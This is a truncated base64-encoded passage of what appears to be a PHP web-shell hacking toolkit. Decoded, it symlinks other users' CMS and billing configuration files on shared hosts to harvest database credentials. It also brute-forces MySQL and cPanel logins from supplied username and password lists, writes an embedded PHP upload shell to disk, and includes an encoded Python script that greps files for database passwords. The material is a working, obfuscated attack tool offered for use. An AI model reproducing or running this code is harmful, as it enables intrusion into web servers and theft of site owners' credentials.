hwIiwKCQkibWFuYWdlL2NvbmZpZ3VyYXRpb24ucGhwIiwKCQkibXlzaG9wL2NvbmZpZ3VyYXRpb24ucGhwIiwKCQkiYmV0YS9jb25maWd1cmF0aW9uLnBocCIsCgkJImluY2x1ZGVzL2NvbmZpZy5waHAiLAoJCSJsaWIvY29uZmlnLnBocCIsCgkJImNvbmZfZ2xvYmFsLnBocCIsCgkJImluYy9jb25maWcucGhwIiwKCQkiaW5jbC9jb25maWcucGhwIiwKCQkiaW5jbHVkZS9kYi5waHAiLAoJCSJpbmNsdWRlL2NvbmZpZy5waHAiLAoJCSJpbmNsdWRlcy9mdW5jdGlvbnMucGhwIiwKCQkiaW5jbHVkZXMvZGlzdC1jb25maWd1cmUucGhwIiwKCQkiY29ubmVjdC5waHAiLAoJCSJta19jb25mLnBocCIsCgkJImNvbmZpZy9rb25la3NpLnBocCIsCgkJInN5c3RlbS9zaXN0ZW0ucGhwIiwKCQkiY29uZmlnLnBocCIsCgkJIlNldHRpbmdzLnBocCIsCgkJInNldHRpbmdzLnBocCIsCgkJInNpdGVzL2RlZmF1bHQvc2V0dGluZ3MucGhwIiwKCQkic21mL1NldHRpbmdzLnBocCIsCgkJImZvcnVtL1NldHRpbmdzLnBocCIsCgkJImZvcnVtcy9TZXR0aW5ncy5waHAiLAoJCSJob3N0L2NvbmZpZ3VyYXRpb24ucGhwIiwKCQkiaG9zdGluZy9jb25maWd1cmF0aW9uLnBocCIsCgkJImhvc3RzL2NvbmZpZ3VyYXRpb24ucGhwIiwKCQkiemVuY2FydC9pbmNsdWRlcy9kaXN0LWNvbmZpZ3VyZS5waHAiLAoJCSJzaG9wL2luY2x1ZGVzL2Rpc3QtY29uZmlndXJlLnBocCIsCgkJIndobS9jb25maWd1cmF0aW9uLnBocCIsCgkJIndobWMvY29uZmlndXJhdGlvbi5waHAiLAoJCSJ3aG1jcy9jb25maWd1cmF0aW9uLnBocCIsCgkJIndobWMvV0hNL2NvbmZpZ3VyYXRpb24ucGhwIiwKCQkid2htL1dITUNTL2NvbmZpZ3VyYXRpb24ucGhwIiwKCQkid2htL3dobWNzL2NvbmZpZ3VyYXRpb24ucGhwIiwKCQkib3JkZXIvY29uZmlndXJhdGlvbi5waHAiLAoJCSJzdXBwb3J0L2NvbmZpZ3VyYXRpb24ucGhwIiwKCQkic3VwcG9ydHMvY29uZmlndXJhdGlvbi5waHAiLAoJCSJvc2NvbW1lcmNlL2luY2x1ZGVzL2NvbmZpZ3VyZS5waHAiLAoJCSJvc2NvbW1lcmNlcy9pbmNsdWRlcy9jb25maWd1cmUucGhwIiwKCQkic2hvcHBpbmcvaW5jbHVkZXMvY29uZmlndXJlLnBocCIsCgkJInNhbGUvaW5jbHVkZXMvY29uZmlndXJlLnBocCIsCgkJImNvbmZpZy5pbmMucGhwIiwKCQkiYW1lbWJlci9jb25maWcuaW5jLnBocCIsCgkJImNsaWVudHMvY29uZmlndXJhdGlvbi5waHAiLAoJCSJjbGllbnQvY29uZmlndXJhdGlvbi5waHAiLAoJCSJjbGllbnRlcy9jb25maWd1cmF0aW9uLnBocCIsCgkJImNsaWVudGUvY29uZmlndXJhdGlvbi5waHAiLAoJCSJjbGllbnRzdXBwb3J0L2NvbmZpZ3VyYXRpb24ucGhwIiwKCQkiYmlsbGluZy9jb25maWd1cmF0aW9uLnBocCIsCgkJImJpbGxpbmdzL2NvbmZpZ3VyYXRpb24ucGhwIiwKCQkiYWRtaW4vY29uZi5waHAiLAoJCSJhZG1pbi9jb25maWcucGhwIik7CgkJZm9yZWFjaCgkdXNyIGFzICR1c3MgKQoJCXsKCQkJJHVzPXRyaW0oJHVzcyk7CgkJCQkJCQoJCQlmb3JlYWNoKCRjb25maWd1cmF0aW9uIGFzICRjKQoJCQl7CgkJCSAkcnM9Ii9ob21lLyIuJHVzLiIvcHVibGljX2h0bWwvIi4kYzsKCQkJICRyPSJJTkpFQ1RJT04vIi4kdXMuIiAuLiAiLiRjOwoJCQkgc3ltbGluaygkcnMsJHIpOwoJCQkKCQl9CgkJCQoJCQl9CgkJCgkJCgkJfQpicmVhazsKLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8KY2FzZSdmaWxlJzsKCgpicmVhazsKIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMKCmNhc2UgJ2JydXRlJzs/Pgo8bWV0YSBodHRwLWVxdWl2PSJDb250ZW50LVR5cGUiIGNvbnRlbnQ9InRleHQvaHRtbDsgY2hhcnNldD11dGYtOCIgLz4KPD9waHAKLyoKUmVjb2RlZCBCeSBWYWoxIFYxcnVzCiovCkBzZXRfdGltZV9saW1pdCgwKTsKQGVycm9yX3JlcG9ydGluZygwKTsKCgppZigkX1BPU1RbJ3BhZ2UnXT09J2ZpbmQnKQp7CmlmKGlzc2V0KCRfUE9TVFsndXNlcm5hbWVzJ10pICYmIGlzc2V0KCRfUE9TVFsncGFzc3dvcmRzJ10pKQp7CiAgICBpZigkX1BPU1RbJ3R5cGUnXSA9PSAncGFzc3dkJyl7CiAgICAgICAgJGUgPSBleHBsb2RlKCJcbiIsJF9QT1NUWyd1c2VybmFtZXMnXSk7CiAgICAgICAgZm9yZWFjaCgkZSBhcyAkdmFsdWUpewogICAgICAgICRrID0gZXhwbG9kZSgiOiIsJHZhbHVlKTsKICAgICAgICAkdXNlcm5hbWUgLj0gJGtbJzAnXS4iICI7CiAgICAgICAgfQogICAgfWVsc2VpZigkX1BPU1RbJ3R5cGUnXSA9PSAnc2ltcGxlJyl7CiAgICAgICAgJHVzZXJuYW1lID0gc3RyX3JlcGxhY2UoIlxuIiwnICcsJF9QT1NUWyd1c2VybmFtZXMnXSk7CiAgICB9CiAgICAkYTEgPSBleHBsb2RlKCIgIiwkdXNlcm5hbWUpOwogICAgJGEyID0gZXhwbG9kZSgiXG4iLCRfUE9TVFsncGFzc3dvcmRzJ10pOwogICAgJGlkMiA9IGNvdW50KCRhMik7CiAgICAkb2sgPSAwOwogICAgZm9yZWFjaCgkYTEgYXMgJHVzZXIgKQogICAgewogICAgICAgIGlmKCR1c2VyICE9PSAnJykKICAgICAgICB7CiAgICAgICAgJHVzZXI9dHJpbSgkdXNlcik7CiAgICAgICAgIGZvcigkaT0wOyRpPD0kaWQyOyRpKyspCiAgICAgICAgIHsKICAgICAgICAgICAgJHBhc3MgPSB0cmltKCRhMlskaV0pOwogICAgICAgICAgICBpZihAbXlzcWxfY29ubmVjdCgnbG9jYWxob3N0JywkdXNlciwkcGFzcykpCiAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgIGVjaG8gIlgnVmFqMSBWMXJ1cyB+IHVzZXIgaXMgKDxiPjxmb250IGNvbG9yPWdyZWVuPiR1c2VyPC9mb250PjwvYj4pIFBhc3N3b3JkIGlzICg8Yj48Zm9udCBjb2xvcj1ncmVlbj4kcGFzczwvZm9udD48L2I+KTxiciAvPiI7CiAgICAgICAgICAgICAgICAkb2srKzsKICAgICAgICAgICAgfQogICAgICAgICB9CiAgICAgICAgfQogICAgfQogICAgZWNobyAiPGhyPjxiPllvdSBGb3VuZCA8Zm9udCBjb2xvcj1ncmVlbj4kb2s8L2ZvbnQ+IENwYW5lbCBieSBWYWoxIFYxcnVzPC9iPiI7CiAgICBlY2hvICI8Y2VudGVyPjxiPjxhIGhyZWY9Ii4kX1NFUlZFUlsnUEhQX1NFTEYnXS4iPjw8IEJBQ0s8L2E+IjsKICAgIGV4aXQ7Cn0KfQppZigkX1BPU1RbJ3Bhc3MnXT09J3Bhc3N3b3JkJyl7CkBlcnJvcl9yZXBvcnRpbmcoMCk7CiRpID0gZ2V0ZW52KCdSRU1PVEVfQUREUicpOwokZCA9IGRhdGUoJ0QsIE0galMsIFkgSDppJyx0aW1lKCkpOwokaCA9ICRfU0VSVkVSWydIVFRQX0hPU1QnXTsKJGRpcj0kX1NFUlZFUlsnUEhQX1NFTEYnXTsKJGJhY2sgPSAiUEQ5d2FIQU5DbVZqYUc4Z0p6eG1iM0p0SUdGamRHbHZiajBpSWlCdFpYUm9iMlE5SW5CdmMzUWlJR1Z1WTNSNWNHVTlJbTExYkhScGNHRnlkQzltYjNKdExXUmhkR0VpSUc1aGJXVTlJblZ3Ykc5aFpHVnlJaUJwWkQwaWRYQnNiMkZrWlhJaVBpYzdEUXBsWTJodklDYzhhVzV3ZFhRZ2RIbHdaVDBpWm1sc1pTSWdibUZ0WlQwaVptbHNaU0lnYzJsNlpUMGlOVEFpUGp4cGJuQjFkQ0J1WVcxbFBTSmZkWEJzSWlCMGVYQmxQU0p6ZFdKdGFYUWlJR2xrUFNKZmRYQnNJaUIyWVd4MVpUMGlWWEJzYjJGa0lqNDhMMlp2Y20wK0p6c05DbWxtS0NBa1gxQlBVMVJiSjE5MWNHd25YU0E5UFNBaVZYQnNiMkZrSWlBcElIc05DbWxtS0VCamIzQjVLQ1JmUmtsTVJWTmJKMlpwYkdVblhWc25kRzF3WDI1aGJXVW5YU3dnSkY5R1NVeEZVMXNuWm1sc1pTZGRXeWR1WVcxbEoxMHBLU0I3SUdWamFHOGdKenhpUGt0dmNtRnVaeUJFWVdnZ1FtVnlhbUY1WVNCVmNHeHZZV1FnVTJobGJHd2dTMjl5WVc1bklTRWhQR0krUEdKeVBqeGljajRuT3lCOURRcGxiSE5sSUhzZ1pXTm9ieUFuUEdJK1MyOXlZVzVuSUVkaFoyRnNJRlZ3Ykc5aFpDQlRhR1ZzYkNCTGIzSmhibWNoSVNFOEwySStQR0p5UGp4aWNqNG5PeUI5RFFwOURRby9QZz09IjsKJGZpbGUgPSBmb3BlbigiLnBocCIsIncrIik7CiR3cml0ZSA9IGZ3cml0ZSAoJGZpbGUgLGJhc2U2NF9kZWNvZGUoJGJhY2spKTsKZmNsb3NlKCRmaWxlKTsKY2htb2QoIi5waHAiLDA3NTUpOwpta2RpcignY29uZmlnJywwNzU1KTsKJGNwID0KJ0l5RXZkWE55TDJKcGJpOWxibllnY0hsMGFHOXVEUW9OQ2ljbkp3MEtRbms2SUVGb2JXVmtJRk5vWVhkcmVTQmhhMkVnYkc1NFp6TXphdzBLZEdoNE9pQlBZbnA1TENCU1pXeHBheXdnYlc5b1lXSWdZVzVrSUNOaGNtRmljSGR1SUEwS0p5Y25EUW9OQ21sdGNHOXlkQ0J6ZVhNTkNtbHRjRzl5ZENCdmN3MEthVzF3YjNKMElISmxEUXBwYlhCdmNuUWdjM1ZpY0hKdlkyVnpjdzBLYVcxd2IzSjBJSFZ5Ykd4cFlnMEthVzF3YjNKMElHZHNiMklOQ21aeWIyMGdjR3hoZEdadmNtMGdhVzF3YjNKMElITjVjM1JsYlEwS0RRcHBaaUJzWlc0b2MzbHpMbUZ5WjNZcElDRTlJRE02RFFvZ0lIQnlhVzUwSnljbkNRMEtJRlZ6WVdkbE9pQWxjeUJiVlZKTUxpNHVYU0JiWkdseVpXTjBiM0o1TGk0dVhRMEtJRVY0S1NBbGN5Qm9kSFJ3T2k4dmQzZDNMblJsYzNRdVkyOXRMM1JsYzNRdklGdGthWElnTGk0dVhTY25KeUFsSUNoemVYTXVZWEpuZGxzd1hTd2djM2x6TG1GeVozWmJNRjBwRFFvZ0lITjVjeTVsZUdsMEtERXBEUW9OQ25OcGRHVWdQU0J6ZVhNdVlYSm5kbHN4WFEwS1ptOTFkQ0E5SUhONWN5NWhjbWQyV3pKZERRb05DblJ5ZVRvTkNpQWdjbVZ4SUNBOUlIVnliR3hwWWk1MWNteHZjR1Z1S0hOcGRHVXBEUW9nSUhKbFlXUWdQU0J5WlhFdWNtVmhaQ2dwRFFvZ0lHbG1JSE41YzNSbGJTZ3BJRDA5SUNkTWFXNTFlQ2M2RFFvZ0lDQWdaaUE5SUc5d1pXNG9KeTkwYlhBdlpHRjBZUzUwZUhRbkxDQW5keWNwRFFvZ0lDQWdaaTUzY21sMFpTaHlaV0ZrS1EwS0lDQWdJR1l1WTJ4dmMyVW9LUTBLSUNCcFppQnplWE4wWlcwb0tTQTlQU0FuVjJsdVpHOTNjeWM2RFFvZ0lDQWdaaUE5SUc5d1pXNG9KMlJoZEdFdWRIaDBKeXdnSjNjbktTQWdEUW9nSUNBZ1ppNTNjbWwwWlNoeVpXRmtLUTBLSUNBZ0lHWXVZMnh2YzJVb0tRMEtEUW9nSUdrZ1BTQXdEUW9nSUdsbUlITjVjM1JsYlNncElEMDlJQ2RNYVc1MWVDYzZEUW9nSUNBZ1ppQTlJRzl3Wlc0b0p5OTBiWEF2WkdGMFlTNTBlSFFuTENBbmNsVW5LUTBLSUNBZ0lHWnZjaUJzYVc1bElHbHVJR1k2RFFvZ0lDQWdJQ0JwWmlCc2FXNWxMbk4wWVhKMGMzZHBkR2dvSnp4c2FUNDhZU2NwSUQwOUlGUnlkV1VnT2cwS0lDQWdJQ0FnSUNCdElEMGdjbVV1YzJWaGNtTm9LSEluS0R4aElHaHlaV1k5SWlrb0xpdGJYajVkS1NnaVBpa25MQ0JzYVc1bEtRMEtJQ0FnSUNBZ0lDQnBJQ3M5SURFTkNpQWdJQ0FnSUNBZ2JHOWpZV3hmYm1GdFpTQTlJQ2NsY3k5bWFXeGxKV1F1ZEhoMEp5QWxJQ2htYjNWMExDQnBLUTBLSUNBZ0lDQWdJQ0J3Y21sdWRDQW5VbVYwY21sbGRtbHVaeTR1TGx4MFhIUW5MQ0J6YVhSbElDc2diUzVuY205MWNDZ3lLUTBLSUNBZ0lDQWdJQ0IwY25rNklDQjFjbXhzYVdJdWRYSnNjbVYwY21sbGRtVW9jMmwwWlNBcklHMHVaM0p2ZFhBb01pa3NJR3h2WTJGc1gyNWhiV1VwRFFvZ0lDQWdJQ0FnSUdWNFkyVndkQ0JKVDBWeWNtOXlPZzBLSUNBZ0lDQWdJQ0FnSUhCeWFXNTBJQ2RjYmxzbGMxMGdaRzlsYzI1Y0ozUWdaWGhwYzNRc0lHTnlaV0YwWlNCcGRDQm1hWEp6ZENjZ0pTQm1iM1YwRFFvZ0lDQWdJQ0FnSUNBZ2MzbHpMbVY0YVhRb0tRMEtJQ0FnSUNBZ2FXWWdiR2x1WlM1emRHRnlkSE4zYVhSb0tDYzhhVzFuSnlrZ1BUMGdWSEoxWlRvTkNpQWdJQ0FnSUNBZ2JURWdQU0J5WlM1elpXRnlZMmdvY2ljb1BHRWdhSEpsWmowaUtTZ3VLMXRlUGwwcEtDSStLU2NzSUd4cGJtVXBEUW9nSUNBZ0lDQWdJR2tnS3owZ01RMEtJQ0FnSUNBZ0lDQnNiMk5oYkY5dVlXMWxJRDBnSnlWekwyWnBiR1VsWkM1MGVIUW5JQ1VnS0dadmRYUXNJR2twRFFvZ0lDQWdJQ0FnSUhCeWFXNTBJQ2RTWlhSeWFXVjJhVzVuTGk0dVhIUmNkQ2NzSUhOcGRHVWdLeUJ0TVM1bmNtOTFjQ2d5S1EwS0lDQWdJQ0FnSUNCMGNuazZJQ0IxY214c2FXSXVkWEpzY21WMGNtbGxkbVVvYzJsMFpTQXJJRzB4TG1keWIzVndLRElwTENCc2IyTmhiRjl1WVcxbEtRMEtJQ0FnSUNBZ0lDQmxlR05sY0hRZ1NVOUZjbkp2Y2pvTkNpQWdJQ0FnSUNBZ0lDQndjbWx1ZENBblhHNWJKWE5kSUdSdlpYTnVYQ2QwSUdWNGFYTjBMQ0JqY21WaGRHVWdhWFFnWm1seWMzUW5JQ1VnWm05MWRBMEtJQ0FnSUNBZ0lDQWdJSE41Y3k1bGVHbDBLQ2tOQ2lBZ0lDQWdJR2xtSUd4cGJtVXVjM1JoY25SemQybDBhQ2duUEVsTlJ5Y3BJRDA5SUZSeWRXVTZEUW9nSUNBZ0lDQWdJRzB5SUQwZ2NtVXVjMlZoY21Ob0tISW5LRHhCSUVoU1JVWTlJaWtvTGl0YlhqNWRLU2dpUGlrbkxDQnNhVzVsS1EwS0lDQWdJQ0FnSUNCcElDczlJREVOQ2lBZ0lDQWdJQ0FnYkc5allXeGZibUZ0WlNBOUlDY2xjeTltYVd4bEpXUXVkSGgwSnlBbElDaG1iM1YwTENCcEtRMEtJQ0FnSUNBZ0lDQndjbWx1ZENBblVtVjBjbWxsZG1sdVp5NHVMbHgwWEhRbkxDQnphWFJsSUNzZ2JUSXVaM0p2ZFhBb01pa05DaUFnSUNBZ0lDQWdkSEo1T2lBZ2RYSnNiR2xpTG5WeWJISmxkSEpwWlhabEtITnBkR1VnS3lCdE1pNW5jbTkxY0NneUtTd2diRzlqWVd4ZmJtRnRaU2tOQ2lBZ0lDQWdJQ0FnWlhoalpYQjBJRWxQUlhKeWIzSTZEUW9nSUNBZ0lDQWdJQ0FnY0hKcGJuUWdKMXh1V3lWelhTQmtiMlZ6Ymx3bmRDQmxlR2x6ZEN3Z1kzSmxZWFJsSUdsMElHWnBjbk4wSnlBbElHWnZkWFFOQ2lBZ0lDQWdJQ0FnSUNCemVYTXVaWGhwZENncERRb2dJQ0FnWmk1amJHOXpaU2dwRFFvZ0lHbG1JSE41YzNSbGJTZ3BJRDA5SUNkWGFXNWtiM2R6SnpvTkNpQWdJQ0JtSUQwZ2IzQmxiaWduWkdGMFlTNTBlSFFuTENBbmNsVW5LUTBLSUNBZ0lHWnZjaUJzYVc1bElHbHVJR1k2RFFvZ0lDQWdJQ0JwWmlCc2FXNWxMbk4wWVhKMGMzZHBkR2dvSnp4c2FUNDhZU2NwSUQwOUlGUnlkV1VnT2cwS0lDQWdJQ0FnSUNCdElEMGdjbVV1YzJWaGNtTm9LSEluS0R4aElHaHlaV1k5SWlrb0xpdGJYajVkS1NnaVBpa25MQ0JzYVc1bEtRMEtJQ0FnSUNBZ0lDQnBJQ3M5SURFTkNpQWdJQ0FnSUNBZ2JHOWpZV3hmYm1GdFpTQTlJQ2NsY3k5bWFXeGxKV1F1ZEhoMEp5QWxJQ2htYjNWMExDQnBLUTBLSUNBZ0lDQWdJQ0J3Y21sdWRDQW5VbVYwY21sbGRtbHVaeTR1TGx4MFhIUW5MQ0J6YVhSbElDc2diUzVuY205MWNDZ3lLUTBLSUNBZ0lDQWdJQ0IwY25rNklDQjFjbXhzYVdJdWRYSnNjbVYwY21sbGRtVW9jMmwwWlNBcklHMHVaM0p2ZFhBb01pa3NJR3h2WTJGc1gyNWhiV1VwRFFvZ0lDQWdJQ0FnSUdWNFkyVndkQ0JKVDBWeWNtOXlPZzBLSUNBZ0lDQWdJQ0FnSUhCeWFXNTBJQ2RjYmxzbGMxMGdaRzlsYzI1Y0ozUWdaWGhwYzNRc0lHTnlaV0YwWlNCcGRDQm1hWEp6ZENjZ0pTQm1iM1YwRFFvZ0lDQWdJQ0FnSUNBZ2MzbHpMbVY0YVhRb0tRMEtJQ0FnSUNBZ2FXWWdiR2x1WlM1emRHRnlkSE4zYVhSb0tDYzhhVzFuSnlrZ1BUMGdWSEoxWlRvTkNpQWdJQ0FnSUNBZ2JURWdQU0J5WlM1elpXRnlZMmdvY2ljb1BHRWdhSEpsWmowaUtTZ3VLMXRlUGwwcEtDSStLU2NzSUd4cGJtVXBEUW9nSUNBZ0lDQWdJR2tnS3owZ01RMEtJQ0FnSUNBZ0lDQnNiMk5oYkY5dVlXMWxJRDBnSnlWekwyWnBiR1VsWkM1MGVIUW5JQ1VnS0dadmRYUXNJR2twRFFvZ0lDQWdJQ0FnSUhCeWFXNTBJQ2RTWlhSeWFXVjJhVzVuTGk0dVhIUmNkQ2NzSUhOcGRHVWdLeUJ0TVM1bmNtOTFjQ2d5S1EwS0lDQWdJQ0FnSUNCMGNuazZJQ0IxY214c2FXSXVkWEpzY21WMGNtbGxkbVVvYzJsMFpTQXJJRzB4TG1keWIzVndLRElwTENCc2IyTmhiRjl1WVcxbEtRMEtJQ0FnSUNBZ0lDQmxlR05sY0hRZ1NVOUZjbkp2Y2pvTkNpQWdJQ0FnSUNBZ0lDQndjbWx1ZENBblhHNWJKWE5kSUdSdlpYTnVYQ2QwSUdWNGFYTjBMQ0JqY21WaGRHVWdhWFFnWm1seWMzUW5JQ1VnWm05MWRBMEtJQ0FnSUNBZ0lDQWdJSE41Y3k1bGVHbDBLQ2tOQ2lBZ0lDQWdJR2xtSUd4cGJtVXVjM1JoY25SemQybDBhQ2duUEVsTlJ5Y3BJRDA5SUZSeWRXVTZEUW9nSUNBZ0lDQWdJRzB5SUQwZ2NtVXVjMlZoY21Ob0tISW5LRHhCSUVoU1JVWTlJaWtvTGl0YlhqNWRLU2dpUGlrbkxDQnNhVzVsS1EwS0lDQWdJQ0FnSUNCcElDczlJREVOQ2lBZ0lDQWdJQ0FnYkc5allXeGZibUZ0WlNBOUlDY2xjeTltYVd4bEpXUXVkSGgwSnlBbElDaG1iM1YwTENCcEtRMEtJQ0FnSUNBZ0lDQndjbWx1ZENBblVtVjBjbWxsZG1sdVp5NHVMbHgwWEhRbkxDQnphWFJsSUNzZ2JUSXVaM0p2ZFhBb01pa05DaUFnSUNBZ0lDQWdkSEo1T2lBZ2RYSnNiR2xpTG5WeWJISmxkSEpwWlhabEtITnBkR1VnS3lCdE1pNW5jbTkxY0NneUtTd2diRzlqWVd4ZmJtRnRaU2tOQ2lBZ0lDQWdJQ0FnWlhoalpYQjBJRWxQUlhKeWIzSTZEUW9nSUNBZ0lDQWdJQ0FnY0hKcGJuUWdKMXh1V3lWelhTQmtiMlZ6Ymx3bmRDQmxlR2x6ZEN3Z1kzSmxZWFJsSUdsMElHWnBjbk4wSnlBbElHWnZkWFFOQ2lBZ0lDQWdJQ0FnSUNCemVYTXVaWGhwZENncERRb2dJQ0FnWmk1amJHOXpaU2dwRFFvZ0lHbG1JSE41YzNSbGJTZ3BJRDA5SUNkTWFXNTFlQ2M2RFFvZ0lDQWdZMnhsWVc1MWNDQTlJSE4xWW5CeWIyTmxjM011VUc5d1pXNG9KM0p0SUMxeVppQXZkRzF3TDJSaGRHRXVkSGgwSUQ0Z0wyUmxkaTl1ZFd4c0p5d2djMmhsYkd3OVZISjFaU2t1ZDJGcGRDZ3BEUW9nSUdsbUlITjVjM1JsYlNncElEMDlJQ2RYYVc1a2IzZHpKem9OQ2lBZ0lDQmpiR1ZoYm5Wd0lEMGdjM1ZpY0hKdlkyVnpjeTVRYjNCbGJpZ25aR1ZzSUVNNlhHUmhkR0V1ZEhoMEp5d2djMmhsYkd3OVZISjFaU2t1ZDJGcGRDZ3BEUW9nSUhCeWFXNTBJQ2RjYmljc0lDY3RKeUFxSURFd01Dd2dKMXh1SncwS0lDQnBaaUJ6ZVhOMFpXMG9LU0E5UFNBblRHbHVkWGduT2cwS0lDQWdJR1p2Y2lCeWIyOTBMQ0JrYVhKekxDQm1hV3hsY3lCcGJpQnZjeTUzWVd4cktHWnZkWFFwT2cwS0lDQWdJQ0FnWm05eUlHWnVZVzFsSUdsdUlHWnBiR1Z6T2cwS0lDQWdJQ0FnSUNCbWRXeHNjR0YwYUNBOUlHOXpMbkJoZEdndWFtOXBiaWh5YjI5MExDQm1ibUZ0WlNrTkNpQWdJQ0FnSUNBZ1ppQTlJRzl3Wlc0b1puVnNiSEJoZEdnc0lDZHlKeWtOQ2lBZ0lDQWdJQ0FnWm05eUlHeHBibVVnYVc0Z1pqb05DaUFnSUNBZ0lDQWdJQ0J6WldOeUlEMGdjbVV1YzJWaGNtTm9JQ2h5SWloa1lsOXdZWE56ZDI5eVpDZGRJRDBnSnlrb0xpdGJYajVkS1Nnbk95a2lMQ0JzYVc1bEtRMEtJQ0FnSUNBZ0lDQWdJR2xtSUhObFkzSWdhWE1nYm05MElFNXZibVU2SUhCeWFXNTBJQ2h6WldOeUxtZHliM1Z3S0RJcEtTQWdEUW9nSUNBZ0lDQWdJQ0FnYzJWamNqRWdQU0J5WlM1elpXRnlZMmdvY2lJb2NHRnpjM2R2Y21RZ1BTQW5LU2d1SzF0ZVBsMHBLQ2M3S1NJc0lHeHBibVVwRFFvZ0lDQWdJQ0FnSUNBZ2FXWWdjMlZqY2pFZ2FYTWdibTkwSUU1dmJtVTZJQ0J3Y21sdWRDQWdLSE5sWTNJeExtZHliM1Z3S0RJcEtRMEtJQ0FnSUNBZ0lDQWdJSE5sWTNJeUlEMGdjbVV1YzJWaGNtTm9LSElpS0VSQ1gxQkJVMU5YVDFKRUp5a29MaTR1S1NndUsxdGVQbDBwS0NjcElpd2diR2x1WlNrTkNpQWdJQ0FnSUNBZ0lDQnBaaUJ6WldOeU1pQnBjeUJ1YjNRZ1RtOXVaVG9nY0hKcGJuUWdLSE5sWTNJeUxtZHliM1Z3S0RNcEtRMEtJQ0FnSUNBZ0lDQWdJSE5sWTNJeklEMGdjbVV1YzJWaGNtTm9JQ2h5SWloa1luQmhjM01nUFM0dUtTZ3VLMXRlUGwwcEtDNDdLU0lzSUd4cGJtVXBEUW9nSUNBZ0lDQWdJQ0FnYVdZZ2MyVmpjak1nYVhNZ2JtOTBJRTV2Ym1VNklIQnlhVzUwSUNoelpXTnlNeTVuY205MWNDZ3lLU2tOQ2lBZ0lDQWdJQ0FnSUNCelpXTnlOQ0E5SUhKbExuTmxZWEpqYUNBb2NpSW9SRUpRUVZOVFYwOVNSQ0E5SUNjcEtDNHJXMTQrWFNrb0xqc3BJaXdnYkdsdVpTa05DaUFnSUNBZ0lDQWdJQ0JwWmlCelpXTnlOQ0JwY3lCdWIzUWdUbTl1WlRvZ2NISnBiblFnS0hObFkzSTBMbWR5YjNWd0tESXBLUTBLSUNBZ0lDQWdJQ0FnSUhObFkzSTFJRDBnY21VdWMyVmhjbU5vSUNoeUlpaEVRbkJoYzNNZ1BTQW5LU2d1SzF0ZVBsMHBLQ2M3S1NJc0lHeHBibVVwRFFvZ0lDQWdJQ0FnSUNBZ2FXWWdjMlZqY2pVZ2FYTWdibTkwSUU1dmJtVTZJSEJ5YVc1MElDaHpaV055TlM1bmNtOTFjQ2d5S1NrTkNpQWdJQ0FnSUNBZ0lDQnpaV055TmlBOUlISmxMbk5sWVhKamFDQW9jaUlvWkdKd1lYTnpkMlFnUFNBbktTZ3VLMXRlUGwwcEtDYzdLU0lzSUd4cGJtVXBEUW9nSUNBZ0lDQWdJQ0FnYVdZZ2MyVmpjallnYVhNZ2JtOTBJRTV2Ym1VNklIQnlhVzUwSUNoelpXTnlOaTVuY205MWNDZ3lLU2tOQ2lBZ0lDQWdJQ0FnSUNCelpXTnlOeUE5SUhKbExuTmxZWEpqYUNBb2NpSW9iVzl6UTI5dVptbG5YM0JoYzNOM2IzSmtJRDBnSnlrb0xpdGJYajVkS1Nnbk95a2lMQ0JzYVc1bEtRMEtJQ0FnSUNBZ0lDQWdJR2xtSUhObFkzSTNJR2x6SUc1dmRDQk9iMjVsT2lCd2NtbHVkQ0FvYzJWamNqY3VaM0p2ZFhBb01pa3BEUW9nSUNBZ0lDQWdJR1l1WTJ4dmMyVW9LUTBLSUNCcFppQnplWE4wWlcwb0tTQTlQU0FuVjJsdVpHOTNjeWM2RFFvZ0lDQWdabTl5SUdsdVptbHNaU0JwYmlCbmJHOWlMbWRzYjJJb0lHOXpMbkJoZEdndWFtOXBiaWhtYjNWMExDQW5LaTUwZUhRbktTQXBPZzBLSUNBZ0lDQWdaaUE5SUc5d1pXNG9hVzVtYVd4bExDQW5jaWNwRFFvZ0lDQWdJQ0JtYjNJZ2JHbHVaU0JwYmlCbU9nMEtJQ0FnSUNBZ0lDQnpaV055SUQwZ2NtVXVjMlZoY21Ob0lDaHlJaWhrWWw5d1lYTnpkMjl5WkNkZElEMGdKeWtvTGl0YlhqNWRLU2duT3lraUxDQnNhVzVsS1EwS0lDQWdJQ0FnSUNCcFppQnpaV055SUdseklHNXZkQ0JPYjI1bE9pQndjbWx1ZENBb2MyVmpjaTVuY205MWNDZ3lLU2tnSUEwS0lDQWdJQ0FnSUNCelpXTnlNU0E5SUhKbExuTmxZWEpqYUNoeUlpaHdZWE56ZDI5eVpDQTlJQ2NwS0M0clcxNCtYU2tvSnpzcElpd2diR2x1WlNrTkNpQWdJQ0FnSUNBZ2FXWWdjMlZqY2pFZ2FYTWdibTkwSUU1dmJtVTZJQ0J3Y21sdWRDQWdLSE5sWTNJeExtZHliM1Z3S0RJcEtRMEtJQ0FnSUNBZ0lDQnpaV055TWlBOUlISmxMbk5sWVhKamFDaHlJaWhFUWw5UVFWTlRWMDlTUkNjcEtDNHVMaWtvTGl0YlhqNWRLU2duS1NJc0lHeHBibVVwRFFvZ0lDQWdJQ0FnSUdsbUlITmxZM0l5SUdseklHNXZkQ0JPYjI1bE9pQndjbWx1ZENBb2MyVmpjakl1WjNKdmRYQW9NeWtwRFFvZ0lDQWdJQ0FnSUhObFkzSXpJRDBnY21VdWMyVmhjbU5vSUNoeUlpaGtZbkJoYzNNZ1BTNHVLU2d1SzF0ZVBsMHBLQzQ3S1NJc0lHeHBibVVwRFFvZ0lDQWdJQ0FnSUdsbUlITmxZM0l6SUdseklHNXZkQ0JPYjI1bE9pQndjbWx1ZENBb2MyVmpjak11WjNKdmRYQW9NaWtwRFFvZ0lDQWdJQ0FnSUhObFkzSTBJRDBnY21VdWMyVmhjbU5vSUNoeUlpaEVRbEJCVTFOWFQxSkVJRDBnSnlrb0xpdGJYajVkS1NndU95a2lMQ0JzYVc1bEtRMEtJQ0FnSUNBZ0lDQnBaaUJ6WldOeU5DQnBjeUJ1YjNRZ1RtOXVaVG9nY0hKcGJuUWdLSE5sWTNJMExtZHliM1Z3S0RJcEtRMEtJQ0FnSUNBZ0lDQnpaV055TlNBOUlISmxMbk5sWVhKamFDQW9jaUlvUkVKd1lYTnpJRDBnSnlrb0xpdGJYajVkS1Nnbk95a2lMQ0JzYVc1bEtRMEtJQ0FnSUNBZ0lDQnBaaUJ6WldOeU5TQnBjeUJ1YjNRZ1RtOXVaVG9nY0hKcGJuUWdLSE5sWTN